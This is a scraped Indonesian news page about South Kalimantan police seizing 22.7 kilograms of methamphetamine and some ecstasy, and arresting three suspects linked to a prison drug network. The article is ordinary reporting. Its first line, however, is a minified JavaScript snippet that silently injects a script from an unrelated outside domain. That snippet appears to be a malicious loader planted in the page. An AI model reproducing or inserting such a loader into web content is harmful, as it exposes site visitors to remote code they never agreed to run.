(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Setelah berhasil mengamankan sedikitnya 4,97 kilogram narkoba jenis sabu yang merupakan jaringan lapas, jajaran Dit Resnarkoba Polda Kalsel kembali berhasil mengamankan sedikitnya 22,7 kilogram sabu dan ekstasi sebanyak 13 butir dengan berat 4,55 gram pada Jumat (6/3/2020) sore, di Jalan Mahligai Komplek Griya Mandiri, Kertak Hanyar Kabupaten Banjar.
Dari barang bukti itu, kepolisian berhasil meringkus tiga tersangka. Yaitu A alias Aman (23) warga Benua Anyar Banjarmasin, P alias Yudi (26) warga Banyuwangi Jawa Timur, dan SS alias Subur (25) warga Banyuwangi Jawa Timur.
“Yang 22,7 kilogram ini adalah pengembangan dari hasil Operasi Antik Intan 2020 yang kita lakukan beberapa waktu lalu,” kata Kapolda Kalsel Irjen Pol Yazid Fanani melalui Direktur Resnarkoba Polda Kalsel Kombes Pol Iwan Eka Putra di sela pemusnahan 5,5 kilogram narkoba di Mapolda Kalsel, Rabu (11/3/2020) pagi.
Serupa dengan tangkapan sebelumnya, Kombes Iwan mengungkapkan peredaran 22,7 kilogram ini merupakan tangkapan narkoba jaringan lapas, namun berbeda dengan jaringan yang diringkus sebelumnya. Kendati berhasil meringkus tiga tersangka, diakui Kombes Iwan masih ada satu orang lagi yang menjadi DPO. “Karena kembali ke Pulau Jawa, saat ini sedang kita telusuri dan kita kejar,” tambahnya.
Lebih lanjut ia menjabarkan, modus operandi peredaran narkoba ini yaitu membawa barang bukti itu dengan mobil double cab jenis Hilux yang ditempelkan di bagian dinding mobil. Kemudian, barang bukti itu dibawa ke Jalan Mahligai.
“Setelah tiba di suatu rumah di Jalan Mahligai, di mana barang bukti ada di situ. Kemudian yang menerima barang ini kembali, dipanggil dua temannya ini untuk melanjutkan sementara ia meninggalkan tempat itu,” jelas Kombes Iwan.
Dilihat dari track recordnya, diakui Kombes Iwan merupakan pemain lama. Namun ketika ditanya oleh aparat, pengakuan tersangka malah baru satu kali. “Tidak ada dari mereka yang bilang sudah 20 kali. Pasti jawabannya baru satu kali. Ada hubungannya dengan lapas,” lugasnya.
Ketiga tersangka dikenakan Undang-undang RI Nomor 35 tahun 2008 tentang Narkotika, dengan ancaman hukuman maksimal hukuman mati. (Kanalkalimantan.com/fikri)
KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) H Muhidin merespon kebijakan pemerintah pusat terkait Opsen… Read More
Solusi Hemat Listrik Ramah Lingkungan di Sekolah Read More
KANALKALIMANTAN.COM, AMUNTAI - Dinas Kesehatan (Dinkes) Kabupaten Hulu Sungai Utara (HSU) meluncurkan layanan kesehatan berbasis… Read More
KANALKALIMANTAN. COM, JAKARTA - Indonesian Hypnosis Centre (IHC) menggelar acara pengukuhan 51 orang yang telah… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pernak-pernik Natal jelang perayaan Natal tahun 2024 di Kota Banjarbaru mulai ramai… Read More
KANALKALIMANTAN.COM, AMUNTAI - Tim Taekwondo Indonesia (TI) Kabupaten Hulu Sungai Utara (HSU) sukses membawa pulang… Read More
This website uses cookies.